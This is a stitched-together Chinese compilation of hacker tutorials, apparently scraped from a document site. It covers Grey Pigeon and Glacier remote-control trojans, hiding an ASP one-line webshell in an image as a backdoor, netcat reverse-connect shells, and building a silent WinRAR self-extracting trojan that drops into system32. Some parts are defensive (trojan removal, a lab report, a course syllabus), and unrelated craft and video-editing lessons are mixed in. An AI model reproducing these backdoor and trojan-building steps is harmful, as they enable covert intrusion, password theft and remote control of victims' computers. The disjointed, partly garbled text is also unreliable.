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灰鸽子远程控制木马教程

灰鸽子远程控制木马教程
灰鸽子远程控制木马教程

一定要用迅雷下,不然可能下不了

【黑客视频教程-建立超级隐藏帐户】

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【黑客视频教程-简单破解Access数据库的密码】

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【黑客视频教程-用旁注法入侵网站】

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【黑客视频教程-灰鸽子远控使用教程】

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附加上黑客音频教程

第1集·网络概述

第2集·网络基础技术.

第3集·黑客攻击步骤

第4集·Windows系统漏洞

第5集·黑客工具的使用

第6集·网络安全基础简述

第7集·计算机上的漏洞

第8集·后门和木马技术

第9集·网络常用命令教程1

第10集·网络常用命令教程2

第11集·黑客攻击步骤和方法

第12集·TCPIP协议详细讲解A

第13集·TCPIP协议详细讲解B

第14集·OSI七层模型详解

第15集·MS漏洞及缓冲区知识

第16集·黑客常用的工具

第17集·常见扫描工具的使用

第18集·木马工具原理+使用

第19集基本黑客工具的使用

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网络安全实验报告冰河木马实验

网络安全实验报告 冰河木马实验 网络10-2班 XXX 08103635 一、实验目的 通过学习冰河木马远程控制软件的使用,熟悉使用木马进行网络攻击的原理和方法。 二、实验内容 1、在计算机A上运行冰河木马客户端,学习其常用功能; 2、在局域网内另一台计算机B上种入冰河木马(服务器),用 计算机A控制计算机B; 3、打开杀毒软件查杀冰河木马; 4、再次在B上种入冰河木马,并手动删除冰河木马,修改注 册表和文件关联。 三、实验准备 1、在两台计算机上关闭杀毒软件; 2、下载冰河木马软件; 3、阅读冰河木马的关联文件。 四、实验要求 1、合理使用冰河木马,禁止恶意入侵他人电脑和网络; 2、了解冰河木马的主要功能; 3、记录实验步骤、实验现象、实验过程中出现的意外情况及

解决方法; 4、总结手动删除冰河木马的过程。 五、实验过程 作为一款流行的远程控制工具,在面世的初期,冰河就曾经以其简单的操作方法和强大的控制力令人胆寒,可以说达到了谈冰色变的地步。鉴于此,我们就选用冰河完成本次实验。 若要使用冰河进行攻击,则冰河的安装(是目标主机感染冰河)是首先必须要做的。 冰河控制工具中有三个文件:Readme.txt,G_Client.exe,以及G_Server.exe。 Readme.txt简单介绍冰河的使用。G_Client.exe是监控端执行程序,可以用于监控远程计算机和配置服务器。G_Server.exe是被监控端后台监控程序(运行一次即自动安装,开机自启动,可任意改名,运行时无任何提示)。运行G_Server.exe后,该服务端程序直接进入内存,并把感染机的7626端口开放。而使用冰河客户端软件(G_Client.exe)的计算机可以对感染机进行远程控制。 冰河木马的使用: 1、自动跟踪目标机屏幕变化,同时可以完全模拟键盘及鼠标输入,即在同步被控端屏幕变化的同时,监控端的一切键盘及鼠标操作将反映在被控端屏幕(局域网适用)。 2、记录各种口令信息:包括开机口令、屏保口令、各种共享资源口令及绝大多数在对话框中出现的口令信息。 3、获取系统信息:包括计算机名、注册公司、当前用户、系统路径、操作系统版本、当前显示分辨率、物理及逻辑磁盘信息等多项系统数据。 4、限制系统功能:包括远程关机、远程重启计算机、锁定鼠标、锁定系统热键及锁定注册表等多项功能限制。 5、远程文件操作:包括创建、上传、下载、复制、伤处文件或目录、文件压缩、快速浏览文本文件、远程打开文件(正常方式、最小化、最大化、隐藏方式)等多项文件操作功能。 6、注册表操作:包括对主键的浏览、增删、复制、重命名和对键值的读写等所有注册表操作功能。 7、发送信息:以四种常用图标向被控端发送简短信息。 8、点对点通讯:以聊天室形式同被控端进行在线交谈等。 入侵目标主机: 首先运行G_Client.exe,扫描主机。 查找IP地址:在“起始域”编辑框中输入要查找的IP地址,本实验搜索IP 地址“219.219.68.***”网段的计算机,点“开始搜索”按钮,在右边列表框中显示检测到已经在网上的计算机的IP地址。

一句话木马图片制作(三种方法)

图片木马制作的三种方法Copy命令制作 1.asp内容: 打开cmd,数据一下命令:

此时打开两个jpg文件,相比: 且打开可以像一样显示图像。 把以下代码放入目标网站,即可按asp执行。<% #include files=””%> Uedit32(转载):

本制作来自于:雪糕。 我们通常在得到webshell之后都想给自己留个后门,等下次或以后有用得到的时候再进来看看。但如果直接加入一句话木马<%execute request("value")%>到asp文件中时,在该页面上就会有类似如下的错误: Microsoft VBScript 运行时错误错误 '800a000d' 类型不匹配: 'execute' /news1/,行 3 所以我们就可以开动脑筋了,使用插入一句话木马的图片做我们的后门。而且我们如果有足够的权限的话(希望网站中的文件可写),就直接把网站原有的图片变成后门,然后在那个asp文件中加入调用图片后门的代码: 这样就没有上面的“类型不匹配: 'execute'”错误了,而且也更好的隐藏了我们的后门。 新挑战始终会伴着新事物的出现而出现,当我们直接将我们的一句话木马的asp文件改成jpg或gif文件的时候,这个图片文件是打不开的,这又容易被管理员发现。然后我们就又开始思考并寻找新的方法:制作可以显示图片内容的图片格式后门。 制作步骤: 一、前期准备 材料: 1.一张图片:

2.一句话木马服务器端代码: <%execute request("value")%>(其他的一句话也行) 3.一句Script标签: 4. 调用图片后门代码: 工具:UltraEdit

冰河木马 病毒 入侵与防范 详细实验报告 图文教程

目录 简介 (1) 工作原理 (1) 步骤流程 (5) 功能 (18) 清除方法 (19) 结论 (20)

简介 冰河木马开发于1999年,在设计之初,开发者的本意是编写一个功能强大的远程控制软件。但一经推出,就依靠其强大的功能成为了黑客们发动入侵的工具,并结束了国外木马一统天下的局面,成为国产木马的标志和代名词。 在2006年之前,冰河在国内一直是不可动摇的领军木马,在国内没用过冰河的人等于没用过木马,由此可见冰河木马在国内的影响力之巨大。目的:远程访问、控制。选择:可人为制造受害者和寻找"养马场",选择前者的基本上可省略扫描的步骤。 从一定程度上可以说冰河是最有名的木马了,就连刚接触电脑的用户也听说过它。虽然许多杀毒软件可以查杀它,但国内仍有几十万中冰河的电脑存在!作为木马,冰河创造了最多人使用、最多人中弹的奇迹!现在网上又出现了许多的冰河变种程序,我们这里介绍的是其标准版,掌握了如何清除标准版,再来对付变种冰河就很容易了。 冰河的服务器端程序为G-server.exe,客户端程序为G-client.exe,默认连接端口为7626。一旦运行G-server,那么该程序就会在C:/Windows/system目录下生成Kernel32.exe和sysexplr.exe,并删除自身。Kernel32.exe在系统启动时自动加载运行,sysexplr.exe和TXT文件关联。即使你删除了Kernel32.exe,但只要你打开TXT 文件,sysexplr.exe就会被激活,它将再次生成Kernel32.exe,于是冰河又回来了!这就是冰河屡删不止的原因。 工作原理 冰河木马是用C++Builder写的,为了便于大家理解,我将用相对比较简单的VB来说明它,其中涉及到一些WinSock编程和Windows API的知识,如果你不是很了解的话,请去查阅相关的资料。 一、基础篇(揭开木马的神秘面纱) 无论大家把木马看得多神秘,也无论木马能实现多么强大的功能,木马,其实质只是一个网络客户/服务程序。那么,就让我们从网络客户/服务程序的编写开始。 1.基本概念: 网络客户/服务模式的原理是一台主机提供服务(服务器),另一台主机接受服务(客户机)。作为服务器的主机一般会打开一个默认的端口并进行监听(Listen), 如果有客户机向服务器的这一端口提出连接请求(Connect Request), 服务器上的相应程序就会自动运行,来应答客户机的请求,这个程序我们称为守护进程(UNIX的术语,不过已经被移植到了MS系统上)。对于冰河,被控制端就成为一台服务器,控制端则是一台客户机, G_server.exe是守护进程, G_client是客户端应用程序。(这一点经常有人混淆,而且往往会给自己种了木马!)

利用NC来制作自己的反弹木马

利用NC来制作自己的反弹木马 免责申明:我也是第一次公开写这样的东西,不过写此文的目的是为了技术上的研究,把我自己的一些方法和技巧讲出来,和大家一起探讨,希望大家能提出意见.并不是教大家如何利用此方法去破坏别人的电脑!请不要用于非法目的,否则一切责任自负与我无关,呵呵~~~我可不想做黑鹰的大米呀. 一、必须掌握的基础知识; NC这个工具对于一个黑客来说再熟悉不过了,可以说是每个黑客必备工具之一,被称做黑客的一把瑞士军刀!可见其地位之高.大家有兴趣的话自己去看一下有关NC的一些详细用法吧,我在这里就不多说了,这不是我这次要讲的主题,我只把其中我用到的一些参数介绍给大家.NC并不是一个图形界面的工具,但它有很强大的正向链接、反向链接、扫描和监听PORT等功能! 对于木马,它的种类也有很多,但最让人喜欢的还是具有反弹功能的木马,它可以让我们一劳永逸,一次种植成功以后便自动找上门来,呵呵~~~事半功倍呀!这也是我喜欢反向链接木马的一个原因。(对于正向链接我最喜欢的一个工具就是radmin,原因就是它不会被杀。)至于如何让别人中了你的木马、如何去入侵对方,然后给他种马我就不说了(这也不是我这次要说的主题)方法和手法有很多,就看你的技术了。当你成功入侵一台机子后,你想做的事当然是永远的抓住它,不要让他轻易的溜走,那就赶快上传你自己的木马吧!这是我的通常做法。这时一个优秀的木马会给我们很大帮助。 还是来说NC吧。它的使的格式是这样的,在CMD下输入:NC.EXE [参数1] [参数2] ……主机名(或IP)。 NC有很多的参数,它的功能就体现在这些参数上。这里有几个要用到的、必需掌握的参数给大家简略的介绍一下: -l监听模式,可以监听本地的PORT即端口; -p设置端口,后加端口号; -v显示详细信息, -vv显示更详细信息; -t 以telnet交互方式来回应; -e程序重定向,可以把目标机的CMD重定向到一个端口上,然后我们在本机进行监听,这样就可以得到目标机的SHELL了,具体看后面我讲的例子吧; -d后台模式;主要的参数就这么多吧,我们通过下面的例子来一步一步学习吧! 二、简单的几个例子; 例如对本机TCP端口90的监听:nc.exe -l -v -p 90 127.0.0.1 意思是临听本机的TCP 端口90(如图1)。

《网络安全与防范》课程标准

《网安全与防范》程准 络课标 (一)课程性质与任务 本课程是高职学段计算机网络技术专业的一门专业必修课程。其任务是培养学生能利用相应软件对网络进行安全性分析、测试、评价的能力,通过网络安全管理典型工作任务的分析,培养学生网络安全需求分析与规划设计、网络安全漏洞分析与处理、网络攻击、网络安全产品的使用与部署、根据网络安全相关法规应急处理基本的信息安全事件等专业能力,并逐步具备针对企业新的网络安全需求对企业网络安全策略进行改进、改造或重新设计的能力,以及资料收集整理、制定实施工作计划、分析检查判断、沟通协调、安全与自我保护等综合素质和能力,并树立良好的法律意识、职业道德与责任心。 (二)课程教学目标 1.知识目标 (1)能够掌握漏洞扫描、防御缓冲区溢出、恶意代码的攻击、密码破解等工作原理 及工具软件的使用,并通过相应工具软件发现主机系统安全漏洞,客观评价网络 风险等级,更正主机系统安全漏洞与错误配置,防范黑客对主机系统的攻击; (2)能够熟练Windows操作系统,配置用户访问权限与磁盘访问权限、注册表安全、 账户安全策略及审核策略等;具有破解Windows系统账号密码及防范密码本地、 远程破解的能力; (3)理解各种加密算法的加密与解密过程,掌握通过加密/解密软件完成文件的加密 与解密;能够对保护的数据文件在网络传输过程中,保证其机密性(不被其他人 看到)、完整性(不被修改或破坏)、不可抵赖性(认证发送此文件的人); (4)了解网络监听的工作原理,掌握使用网络监听工具来监控网络流量、捕获数据、 监视网络运行状况等的方法; (5)理解局域网中MAC地址攻击、ARP欺骗、DHCP监听的工作原理及带来的网 络危害,并掌握相应的防范措施及故障处理方法;掌握通过AAA认证、802.1x认 证等技术加强局域网接入安全。 (6)掌握防火墙的工作原理、防火墙的部署方式、防火墙的配置;掌握使用VPN 技术解决远程接入安全的访问控制,并具备VPN的安装与部署能力; 2.能力目标 (1)具备网络安全需求分析、网络安全管理的能力; (2)具备网络安全规划设计能力,包括分析项目总体方案、网络安全规划、网络安 全解决方案设计等;

自解压木马的制作及查杀图文教程

自解压木马的制作及查杀图文教程 https://www.wendangku.net/doc/4014317417.html,/wojiubaibudu/blog/item/e75b30871fd65d3466096e04.html 2009-09-24 自解压木马是利用 WinRAR 软件的自解压技术制作的。WinRAR 解压软件想必你的电脑已经安装了吧。 不要问我怎么安装 WinRAR ,我会生气的(╰_╯)。那么,我们开始吧。 1.本例用一张图片和一个木马制作自解压木马,当然你可以用别的文件代替本例中的图片。 2.接着,将图片和木马压缩为一个文件,不要问我怎么压缩(╰_╯)。

3.双击压缩好的文件,可以看到下图界面,单击工具栏最右边的“自解压格式”。 4.在弹出的对话框中,再单击下图鼠标所指的“高级自解压选项”。

5.此时,弹出如下图所示对话框,在“解压路径”文本框中输入一个路径,此路径的作用是: 当用户运行自解压木马时,压缩包中的木马自动释放到此路径中。所以,最好输入一个不容易被发现的位置 如本例中的“%SystemRoot%\system32”,表示解压到系统文件夹下的system32文件夹中。

同时,还要在【安装程序】组合框中的“解压后运行”文本框中输入木马文件“木马.exe”, 在“解压前运行”文本框中输入图片文件“MM.jpg”。 6.切换到【模式】选项卡,在【安静模式】中选择“全部隐藏”。

7.再切换到【更新】选项卡,选择“解压并替换文件”和“覆盖所有文件”。

8.点击确定,再点击确定,到此为止,自解压木马就制作完成了,生成的自解压木马在原压缩文件同目录下,如下图所示。

“冰 河” [NEWFUN 专版] 使 用 说 明

版本:GLACIERXP-VER08-40-0628-BETA1 ICETEAM 倾情制作,请合法使用,谢谢! “冰河”[NEWFUN 专版] 使用说明 软件功能概述: 该软件主要用于远程监控,具体功能包括: 1.自动跟踪目标机屏幕变化,同时可以完全模拟键盘及鼠标输入,即在同 步被控端屏幕变化的同时,监控端的一切键盘及鼠标操作将反映在被控端屏幕(局域网适用); 2.记录各种口令信息:包括开机口令、屏保口令、各种共享资源口令及绝 大多数在对话框中出现过的口令信息,且1.2以上的版本中允许用户对该功能自 行扩充,2.0以上版本还同时提供了击键记录功能; 3.获取系统信息:包括计算机名、注册公司、当前用户、系统路径、操作 系统版本、当前显示分辨率、物理及逻辑磁盘信息等多项系统数据; 4.限制系统功能:包括远程关机、远程重启计算机、锁定鼠标、锁定系统 热键及锁定注册表等多项功能限制; 5.远程文件操作:包括创建、上传、下载、复制、删除文件或目录、文件 压缩、快速浏览文本文件、远程打开文件(提供了四中不同的打开方式——正 常方式、最大化、最小化和隐藏方式)等多项文件操作功能; 6.注册表操作:包括对主键的浏览、增删、复制、重命名和对键值的读写 等所有注册表操作功能; 7.发送信息:以四种常用图标向被控端发送简短信息; 8.点对点通讯:以聊天室形式同被控端进行在线交谈。 本次改版主要是修正了以往各版中的已知问题(如'屏幕控制'和'邮件通知' 中的一些BUG),并增加了一些小功能,该版本在Windows 9X/NT下测试正常,且与2.0以后版本完全兼容。 一.文件列表: 1. G_Server.exe: 被监控端后台监控程序(运行一次即自动安装,可任意改 名),在安装前可以先通过'G_Client'的'配置本地服务器程序'功能进行一些特 殊配置,例如是否将动态IP发送到指定信箱、改变监听端口、设置访问口令等);

(完整word版)手工制作教案

《手工》校本课程计划与教案 授课教师:杨敏 授课对象:四年级学生 授课时间:每周五校本课程 手工方课程的开设是对课堂教学的补充和延伸,与课堂教学相比更具灵活性、可塑性,因而学生非常乐意参加。地方课程的开设,在于培养学生对美术的兴趣、爱好、增长知识、提高技能、丰富学生的课余文化生活,为今后培养美术人才起着积极推动的作用。现将本学期美术小组的活动安排制定如下: 一、活动目的 本学期开设的手工地方课程活动为一部分有特长爱好的学生提供一个展示个性才艺的机会和空间,使他们的一技之长得到充分的发挥和展示,以点带面,促进全校的美术活动。进一步了解美术的基本知识,提高学生的欣赏水平及创造能力。同时让学生在活动中体验创作的乐趣。 二、活动要求 1、组织学生按时参加活动,并保持室内清洁。 2、每周五下午第二节课开始活动,小组成员必须准时到达美术室。 3、美术小组成员应严格遵守纪律,不准在美术室大声喧哗,不准做与美术学习无关的事。 4、每次老师布置的作业,学生都应按时完成。 5、爱护美术教室内的设施和用品。 三、活动内容

1、以小组合作的形式进行平面剪贴和立体手工制作 2、卡纸和生活中的废旧物品均可作为创作材料 3、给学生自己创作作品的时间和空间。 4、欣赏优秀手工作品,开拓学生眼界。 5、及时用相机拍摄活动内容。(集体或个人) 四、定期举办美术比赛 举办美术展览,交流、回顾、总结学习成果,为同学们提供表现自己实力,增强自信心的舞台能起到意想不到的效果。教师要精心指导,严格把关。学生大胆构思,不拘一格,精心绘制,多出佳作,在校内展出以起到示范作用。 五、备注 附:教学进程和教案 博爱小学地方课程备课(填年度学期) 一、教学进程 有趣的吊饰 教学目标: 1、知识与技能:能表现物象的形态特征;运用剪、对折、粘贴制作吊饰;有目的的排列。 2、过程与方法: (1)在比较中,感受民间饰物造型、色彩、花纹特点; (2)在探索中学习吊饰的设计方法; (3)在“尝试运用”中掌握制作方法。

网页木马制作全过程(详细)

如果你访问××网站(国内某门户网站),你就会中灰鸽子木马。这是我一黑客朋友给我说的一句说。打开该网站的首页,经检查,我确实中了灰鸽子。怎么实现的呢?他说,他侵入了该网站的服务器并在网站主页上挂了网页木马;一些安全专家常说,不要打开陌生人发来的网址,为什么?因为该网址很有可能就是一些不怀好意者精心制作的网页木马。 以上只是网页木马的两种形式,实际上网页木马还可以挂在多媒体文件(RM、RMVB、WMV、WMA、Flash)、电子邮件、论坛等多种文件和场合上。很可怕吧,那么用户如何防范网页木马呢?下面我们就先从网页木马的攻击原理说起。 一、网页木马的攻击原理 首先明确,网页木马实际上是一个HTML网页,与其它网页不同的是该网页是黑客精心制作的,用户一旦访问了该网页就会中木马。为什么说是黑客精心制作的呢?因为嵌入在这个网页中的脚本恰如其分地利用了IE浏览器的漏洞,让IE在后台自动下载黑客放置在网络上的木马并运行(安装)这个木马,也就是说,这个网页能下载木马到本地并运行(安装)下载到本地电脑上的木马,整个过程都在后台运行,用户一旦打开这个网页,下载过程和运行(安装)过程就自动开始。 有朋友会说,打开一个网页,IE浏览器真的能自动下载程序和运行程序吗?如果IE真的能肆无忌惮地任意下载和运行程序,那天下还不大乱。实际上,为了安全,IE浏览器是禁止自动下载程序特别是运行程序的,但是,IE浏览器存在着一些已知和未知的漏洞,网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。下面我举IE浏览器早期的一个漏洞来分别说明这两个问题。 ⒈自动下载程序 小提示:代码说明 a. 代码中“src”的属性为程序的网络地址,本例中 “https://www.wendangku.net/doc/4014317417.html,/1.exe”为我放置在自己Web服务器上的灰鸽子服务端安装程序,这段代码能让网页下载该程序到浏览它的电脑上。 b. 也可以把木马程序上传到免费的主页空间上去,但免费空间出于安全的考虑,多数不允许上传exe文件,黑客可能变通一下把扩展名exe改为bat或com,这样他们就可以把这些程序上传到服务器上了。 把这段代码插入到网页源代码的…之间(如图1),然后用没打补丁的IE6打开,接下来,打开IE的临时目录

网络攻防原理与技术实验第6章

第6章特洛伊木马 6.7 实验 6.7.1 远程控制型木马的使用 1. 实验目的 熟悉利用远程控制型木马进行网络入侵的基本步骤,分析冰河木马的工作原理,掌握常见木马的清除方法,学会使用冰河陷阱。 2. 实验内容与要求 (1) 实验按2人一组方式组织,各自实验主机作为对方的控制目标。 (1) 使用冰河客户端G_Client.exe对冰河服务器程序G_Server.exe进行配置,然后感染局域网中的某台主机。 (3) 在感染冰河木马的主机上进行检查,判断对木马的配置是否生效;主要检查项包括:木马的监听端口是否为所设置的端口;木马的安装路径是否为所设置的路径;木马进程在进程列表中所显示的名称是否与设置相符;如果为木马设置了访问口令,是否必须通过设定的口令才能够对木马实施远程控制。 (4) 在感染主机上验证冰河的文件关联功能,将木马主程序删除,打开关联的文件类型,查看木马主程序是否会被恢复。 (5) 使用冰河客户端对感染冰河的主机实施远程控制,在感染主机上执行限制系统功能(如远程关机、远程重启计算机、锁定鼠标、锁定系统热键、锁定注册表等)、远程文件操作(创建、上传、下载、复制、删除文件或目录)以及注册表操作(对主键的浏览、增删、复制、重命名和对键值的读写操作等)。 (6)采用手工方法删除冰河木马,主要步骤包括:①检查系统文件,删除C:\Windows\system下的Kernel32.exe和Sysexplr.exe文件。②如果冰河木马启用开机自启动,那么会在注册表项HKEY_LOCAL_MACHINE/software/microsoft/windows/ CurrentVersion/Run中扎根。检查该注册表项,如果服务器程序的名称为KERNEL32.EXE,则存在键值C:/windows/system/Kernel32.exe,删除该键值。③检查注册表项HKEY_LOCAL_MACHINE/software/microsoft/windows/ CurrentVersion/Runservices,如果存在键值C:/windows/system/Kernel32.exe的,也要删除。④如果木马设置了与文件相关联,例如与文本文件相关联,需要修改注册表HKEY_CLASSES_ROOT/txtfile/shell/open/command 下的默认值,由感染木马后的值:C: /windows/system/Sysexplr.exe %1改为正常情况下的值:C:/windows/notepad.exe %1,即可恢复TXT文件关联功能。完成以上步骤后,依据端口和进程判断木马是否清除。 (7) 使用冰河陷阱清除冰河木马,在此基础上,利用冰河陷阱的伪装功能来诱捕入侵者。运行冰河陷阱后,使主机系统完全模拟真正的冰河服务器程序对攻击者的控制命令进行响应,使攻击者认为感染机器仍处于他的控制之下,进而观察攻击者在主机上所进行的攻击操作。 3. 实验环境 (1) 实验室环境,所有主机需禁用杀毒软件。 (2) 冰河木马客户端程序G_Client.exe,冰河木马服务器程序G_Server.exe,冰河陷阱。 6.7.2 编程实现键盘记录功能 1. 实验目的 掌握木马的键盘记录功能的编程实现技术。 2. 实验内容与要求 (1) 调试6.2.6节给出的keylogger.py程序。

手工查杀木马病毒的一般详细步骤

手工查杀木马病毒的一般详细步骤其实,在平时一不小心中病毒或木马的时候,对于高手来说,都采用手动查杀的方式,因为一方面,对于互联网上新出现的病毒或其变种,大多数的杀毒厂商往往都是被动的,这样就给那些病毒木马提供了时间上的有利条件;另一方面,用杀毒软件查杀的话,是很浪费宝贵的时间的,你知道,高手们往往是不会去选择做傻事的,因为他们知道应该在这些傻事 中学到些什么,而对于我们普通菜鸟用户来说,怎么办呢,总不能坐以待毙吧~作为高手是不能容忍的,因此,手工查杀就从中起了重要作用。那么我们应该怎么办呢,我 们应该从中学到些什么呢, 首先,当我们感到机器变得比以前慢很多,或者鼠标有时会不自主的乱抖动,这时我们就应 该考虑是不是病毒或木马在作怪了。 这时,我们的第一步就是打开任务管理器,仔细查看有没有哪些异常或自己尚不清楚的进程,发现后,先不要急着结束它,先用纸和笔记录下来,这时我们可以在网上查下该进程的相关资料(比如*.exe),这时如果上网不方便的话,可以在资源管理器中按F3打开“搜索”,首先确保将系统中的所有文件全部显示出来,包括重要的系统文件,并“所有文件和文件夹”搜索,看看它到底藏在了哪里,也许有时候你会发现,这个你不熟悉的进程名正是系统中正常的一个程序的进程。不过这也没关系,我们都是从不懂到懂得的一个过程,没什么指得可 笑的。 如果从网上找到的资料里,发现这个确是病毒或木马的话,则毫无疑问的进行下一步骤。如果是在“搜索”中找到的,则右击查看它的属性,看看它是具体什么

时间被建立的,如果与实际不符而相违背的,或明显带有迷惑用户性质的话,则可以肯定它们对我们是不利的。我 们只有将它们赶尽杀绝了!!! 下一步,我们就要毫不留情的在任务管理器中先结束其进程了。右击它选择“结束进程”,“确定”即可。如果中的病毒或木马很强的话,我们就要采取强制的方式结束它了。具体方法:首先“开始——运行”,输入CMD,打开命令提示符。输入“Tasklist”后就会看到我们各个程序的进程列表了,其中有一列叫 PID(进程标识符)的,这对我们强制关闭某个进程 时有用到。 它的命令是这样的:“ntsd -c q -p PID号”。 假如你看到我们刚才记下的可疑进程名,及其后面的PID号是1060(假如),则可以,在提示符下输入“ntsd -c q -p 1060”就可以了。这是我们的第二步,其实按一般思路,结束可疑进程是第一步,这里,我们把判断作为了一个步骤,然而这对于我们这样的菜鸟来说,准确判断一个进程是不是可疑进程,是不是那么容易的,应该说什么都是靠积累的,如古人 云:不积跬步,无以至千里;不积小流,无以成江海。知识也不例外~ 好了,废话不多说。下一步,我们就要对注册表进行“体检”了,不过新手建议先备份,以防不测,有的菜鸟说,不知道应该备份哪些内容,我说你需要修改哪些内容,你就首先将其备份好,以便系统被我们折腾的崩溃了,^_^,好有后悔药吃。你知道世上本没有后悔药,所以我们每一步都要很小心,这是很重要的。即使电脑老手也有失手的时候,不管做什么。 我好象说多了。。。。。^_^ 对注册表进行编辑,使用regedit或regedt32命令。依次展开并找到以下几项,看有没有

关于网络攻击与防御技术实验教程

关于网络攻击与防御技术实验教程 最近有网友想了解下《网络攻击与防御技术实验教程》张玉清写的这本书,所以小编就整理了相关资料分享给大家,具体内容如下.希望大家参考参考!!! 《网络攻击与防御技术实验教程》 《网络攻击与防御技术实验教程》内容简介 网络攻击与防御技术是网络安全的核心和焦点,也是确保网络安全实际动手能力的综合体现。全书共分11章,第1章介绍如何进行系统安全配置并搭建一个用于网络攻防实验的虚拟机,在接下来的各章中,在回顾理论知识的同时,结合动手实验介绍网络典型攻防技术,这些网络典型攻防技术包括扫描技术、网络监听及防御技术、口令攻击、欺骗攻击及防御、拒绝服务攻击与防范、缓冲区溢出攻击及防御、Web攻击及防范、木马攻击及防御、病毒与蠕虫攻击及防御和典型网络攻击防御技术。通过这种理论与实践相结合的网络攻防技术的学习,读者会对网络攻击与防御技术有更直观和深刻的理解。 书中各章内容安排方式为:理论知识回顾、基本实验指导

和巩固提高型实验。 本书可以作为信息安全、计算机、通信等相关专业研究生、本科生的教材,也可供从事网络安全研发的工程技术人员和热衷网络攻防技术的读者参考。 《网络攻击与防御技术实验教程》前言/序言 “知彼知己,百战不殆。" --孙子兵法网络安全已成为人们在信息空间中生存与发展的重要保证条件,与国家的政治安全、经济安全、军事安全、社会稳定以及人们的日常生活密切相关。由于兴趣爱好和经济利益的驱使,黑客攻击事件层出不穷。公司和国家只有积极防御,才能在攻击环境下生存。 攻击与防御是一对相互制约和相互发展的网络安全技术。 本实验教程的目标是帮助安全人员理解黑客的攻击方法和步骤,事实一次又一次地证明,理解敌人的策略、技巧和工具对保护自己是多么的重要。同时,本教程还让安全人员了解能采取哪些策略来防范各类攻击。

网络安全实验报告

本科实验课程报告 (2016至2017学年第1学期) 课程名称:网络信息安全 专业名称: 行政班级: 学号: 姓名: 指导教师:赵学民 报告时间:年月日

实验一:分组密码-DES实验 实验地点:实验日期:成绩: 1、实验目的 通过用DES算法对实际的数据进行加密和解密来深刻了解DES的运行原理2、实验要求 编程实现DES密码。 3、实验原理 DES对64(bit)位的明文分组M进行操作,M经过一个初始置换IP置换成m0,将m0明文分成左半部分和右半部分m0=(L0,R0),各32位长。然后进行16 轮完全相同的运算,这些运算被称为函数f,在运算过程中数据与密匙结合。经过16轮后,左,右半部分合在一起经过一个末置换 DES算法框图 4、实验步骤 1、打开控制台,进入L001001013xp01_1虚拟环境。

2、使用默认用户名administrator,密码:123456登录到windows xp系统。 3.桌面找到Visual C++ 6.0双击打开 4.点击“文件”——“新建” 5.创建一个win32控制台工程,工程名称和位置自定。 6.左侧工作区,选择“FileView”选项卡。

7.右键工程文件名称,选择“添加文件到工程”。可到d:\tools\51elab1007B\des 中找到相关代码(G_des.c,test.cpp,des.h)。 8.根据原理编写程序,并编译运行(依次点击下图左起三个显性按钮进行编译、建立、运行)。 7、依次按要求输入qwqw、wq、回车、qw,对实验进行验证。 5、实验结果及总结

实验二:文件加解密实验 实验地点:实验日期:成绩: 1、实验目的 熟悉用对称加密的方法加密和解密,学会使用工具OpenSSL,熟悉利用RSA非对称密钥对文件进行加密与解密。 2、实验要求 使用工具OpenSSL,熟悉利用RSA非对称密钥对文件进行加密与解密。 3、实验原理 对称加密原理 对称加密算法是应用较早的加密算法,技术成熟。在对称加密算法中,数据发信方将明文(原始数据)和加密密钥一起经过特殊加密算法处理后,使其变成复杂的加密密文发送出去。收信方收到密文后,若想解读原文,则需要使用加密用过的密钥及相同算法的逆算法对密文进行解密,才能使其恢复成可读明文。在对称加密算法中,使用的密钥只有一个,发收信双方都使用这个密钥对数据进行加密和解密,这就要求解密方事先必须知道加密密钥。 RSA非对称加解密算法原理。 RSA密码体制描述: (1).密钥的生成 选择p,q,p,q为两个大的互异素数,计算n=p*q, j(n)=(p-1)(q-1), 选择整数e使gcd(j(n),e)=1,(1

会声会影旋转木马教程.doc

会声会影旋转木马教程 第一种方法: 首先向元月虎致谢! 我通过对元月虎老师“旋转木马制作方法”的学习,使我学会了制作旋转木马的方法。 在我进行深入研究之后,我发现“制作旋转木马”规律性很强。 当你掌握这个规律之后,你就可以随心所欲的制作任意N张照片的旋转木马了! 具体做法如下: 一.准备工作:准备N 张照片,对照片PS成PNG格式图片,编序列号1 2 3 4 . . . . . N 二.照片排列顺序:覆叠轨只设五条,照片在各条覆叠轨上的排列顺序见下表(点击看大图) 不用我说,请朋友自己总结照片在横向和竖向上的摆放规律。 三.对照片进行画中画滤镜处理,(设置照片关键帧数据) A.照片位置XY为0 B.照片大小设为70 C.边框阴影设为0 D.反射你自定 E.旋转X旋转Z不动 F.旋转Y轴:各条覆叠轨上照片的起、止点关键帧Y轴转角数据设置如下: 覆叠轨1# 第一张及其后全为(起+120 止+180) 覆叠轨2# 第一张及其后全为(起-180 止-120) 覆叠轨3# 第一张(起-120止-60)第二张(起-60止0.0)第三张及其后全为(起0.0止+60) 覆叠轨4# 第一张(-120止-60)第二张及其后全为(起-60止0.0) 覆叠轨5# 第一张及其后全为(起-120止-60) 四.对照片进行属性处理: 覆叠轨1# 对第一张照片“复制属性”对其后照片全为“粘贴所有属性” 覆叠轨2# 对第一张照片“复制属性”对其后照片全为“粘贴所有属性” 覆叠轨3# 对第三张照片“复制属性”对其后照片全为“粘贴所有属性” 覆叠轨4# 对第二张照片“复制属性”对其后照片全为“粘贴所有属性” 覆叠轨5# 对第一张照片“复制属性”对其后照片全为“粘贴所有属性” 五.反复检查确认无误,加标题,加背景视频,加背景音乐,试听试看无误,渲染! 第二种方法: 1 2 3 4 5 6 1 2 3 4 5 6 1 2 3 4 5 6 1 2 3 4 5 6 1 2 3 4 5 6 1 2 3 4 5 6 2、旋转角度: 第一轨(60-120)第二轨(0-60)第三轨(-60-0)第四轨(120-180)第五轨[(-180)-(-120)] 第六轨[(-120)-(-60)] 备注:如果照片较多,一直排列到第N张 第三种方法:中间为空心轴的旋转做法(照片不用PS) ——使用6张图片(横幅或竖幅均可),每张需复制6份进行设置。图片宽高比1:1.5,每张图片3秒。 ——将第一张图片拖进覆叠轨,在预览窗右键调至屏幕大小、保持宽高比、添加矩形遮罩、添加画中画滤镜,然后进入自定义滤镜。首先关闭“使用关键帧”,将阴影栏下各项设置为0,然后再打开“使用关键帧”,按照下面第1份数据进行设置,设置完成确定退出。 ——将该图片复制一份放在其后,并按照第2份的数据进行自定义设置……,按前述方法依次将6份数据全部设置完成。 ——然后将其他图片拖进覆叠轨,按照排列方法排列好后,分别复制第1张6份图片的属性,分别粘贴于其他图片相应的份数上即可。 具体数据:

冰河木马实验报告13002724

